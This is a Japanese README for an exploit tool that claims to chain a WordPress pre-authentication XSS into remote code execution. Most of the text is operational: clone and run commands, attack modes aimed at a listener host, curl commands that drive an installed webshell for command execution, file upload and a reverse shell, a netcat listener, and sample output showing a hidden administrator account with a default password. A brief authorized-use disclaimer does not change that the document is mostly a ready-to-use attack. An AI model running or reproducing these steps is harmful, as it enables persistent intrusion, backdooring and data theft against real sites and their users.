
WordPressの認証前XSS (CVE-2026-64638) を悪用してリモートコード実行を達成し、永続化、ファイルアップロード、リバースシェル、ステルスオプションを備えたAES暗号化バックドアWebシェルをインストールします。認可されたレッドチーム演習向けです。
WordPress 事前認証 XSS → RCE チェーンエクスプロイト
G0D150NE 開発
# Clone
git clone https://github.com/g0d150ne/XSS2Shell.git
cd XSS2Shell
# Install dependencies
pip3 install requests beautifulsoup4 cryptography
# Run
python3 poc.py -h
# Open terminal for reverse shell
nc -lvnp 4444
オートモード(推奨)
python3 poc.py http://target.com -u admin -p pass123 --lhost 192.168.1.100
XSS モード(資格情報なし)
python3 poc.py http://target.com --mode xss --lhost 192.168.1.100
ダイレクトモード(資格情報あり)
python3 poc.py http://target.com -u admin -p pass123 --mode direct --lhost 192.168.1.100
WebShell インストール後:
# Base64 encoded (recommended)
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?b2h='$(echo -n 'id' | base64)
# Plain command
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?cmd=whoami'
# Upload file
curl -F '[email protected]' http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php
# Reverse shell
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?rev=1'
# 1. Auto scan + exploit
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5
# 2. XSS chain without credentials
python3 poc.py http://wordpress-site.com --mode xss --lhost 10.0.0.5
# 3. Custom port & plugin name
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5 --lport 1337 --slug backdoor
# 4. Change backdoor password
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5 --backdoor-pass MySecretPass
# 5. Custom callback port
python3 poc.py http://wordpress-site.com --mode xss --lhost 10.0.0.5 --callback-port 9999
エクスプロイト成功後:
作成される隠し管理者:
sysadmin_{slug}{backdoor-pass}(デフォルト: G0D150NE)╔══════════════════════════════════════════════════════════════════╗
║ Target : http://wordpress-site.com
║ Attacker : 192.168.1.100:4444
║ Plugin : g0d150ne
║ Mode : AUTO
╚══════════════════════════════════════════════════════════════════╝
[•] Detecting WordPress version...
[+] WordPress version: 6.7.0
[•] Testing XSS vulnerability...
[+] XSS vulnerable! Vector: <area id=ajaxurl...
[+] Login successful as admin
[+] Plugin uploaded successfully
[+] Webshell ready: http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php
[+] Test: uid=33(www-data)
╔══════════════════════════════════════════════════════════════════╗
║ [+] EXPLOIT SUCCESSFUL ║
╠══════════════════════════════════════════════════════════════════╣
║ WEBSHELL: ║
║ http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php ║
║ ADMIN USER CREATED: ║
║ Username: sysadmin_g0d150ne ║
║ Password: G0D150NE ║
╚══════════════════════════════════════════════════════════════════╝
教育目的および許可されたテストのみを対象としています。
所有しているシステム、または明示的なテスト許可を得たシステムでのみ使用してください。
作者は、不正使用または損害について一切の責任を負いません。
| オプション | 説明 | デフォルト |
|---|
target | 対象の WordPress URL | 必須 |
-u, --username | WordPress 管理者ユーザー名 | - |
-p, --wp-pass | WordPress 管理者パスワード | - |
--lhost | リスナーの IP アドレス | 127.0.0.1 |
--lport | リスナーのポート | 4444 |
--mode | エクスプロイトモード(auto/xss/direct) | auto |
--slug | プラグインのスラッグ名 | g0d150ne |
--callback-port | コールバックサーバーのポート | 9090 |
--backdoor-pass | バックドアのパスワード | G0D150NE |
| 機能 | コマンド |
|---|
| コマンド実行 | ?b2h=BASE64_CMD |
| ファイルアップロード | -F '[email protected]' |
| リバースシェル | ?rev=1 |
| プレーンコマンド | ?cmd=id |
| 暗号化バックドア | ?decrypt=AES_DATA |
| 問題 | 解決方法 |
|---|
ModuleNotFoundError | pip3 install requests beautifulsoup4 cryptography |
Connection refused | リスナーを確認: nc -lvnp 4444 |
Login failed | 資格情報を確認するか、XSS モードを使用 |
Plugin upload failed | 権限を確認し、別のスラッグを使用 |
Argument conflict | wp-pass には -p、バックドアには --backdoor-pass を使用 |